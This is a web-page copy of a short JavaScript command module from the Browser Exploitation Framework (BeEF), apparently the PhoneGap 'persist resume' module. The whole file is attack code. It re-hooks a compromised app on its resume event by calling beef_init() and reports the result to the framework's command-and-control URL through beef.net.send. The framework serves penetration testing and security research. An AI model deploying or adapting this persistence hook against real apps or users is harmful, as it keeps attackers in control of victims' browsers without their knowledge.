Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_persist_resume/command.js
1154 views
1
/*
2
* Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
* Browser Exploitation Framework (BeEF) - https://beefproject.com
4
* See the file 'doc/COPYING' for copying permission
5
*/
6
7
//
8
// persist on over app's sleep/wake events
9
beef.execute(function() {
10
var result;
11
12
try {
13
document.addEventListener("resume", beef_init(), false);
14
result = 'success';
15
16
} catch (e) {
17
for(var n in e) {
18
result+= n + " " + e[n] + "\n";
19
}
20
}
21
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
22
});
23
24